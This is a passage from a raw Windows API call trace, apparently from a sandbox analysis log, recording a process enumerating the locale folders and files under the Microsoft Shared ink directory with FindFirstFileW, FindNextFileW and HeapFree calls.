ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.627] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.627] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.627] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0049.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.627] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.627] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.627] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.627] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.627] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0049.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.687] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.687] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.687] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.687] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.687] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0049.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.688] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.688] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.688] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.688] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.688] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0049.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.688] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.688] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.688] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.688] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.688] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0049.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.689] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.689] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.689] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.689] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.689] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0049.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.759] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.759] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.759] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.760] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.760] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0049.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.760] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.760] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.760] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.760] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.760] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0049.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.761] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.761] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.761] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.761] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.761] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0049.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.762] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.762] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.762] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.762] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.762] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0049.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0049.768] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.768] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.769] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0049.769] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 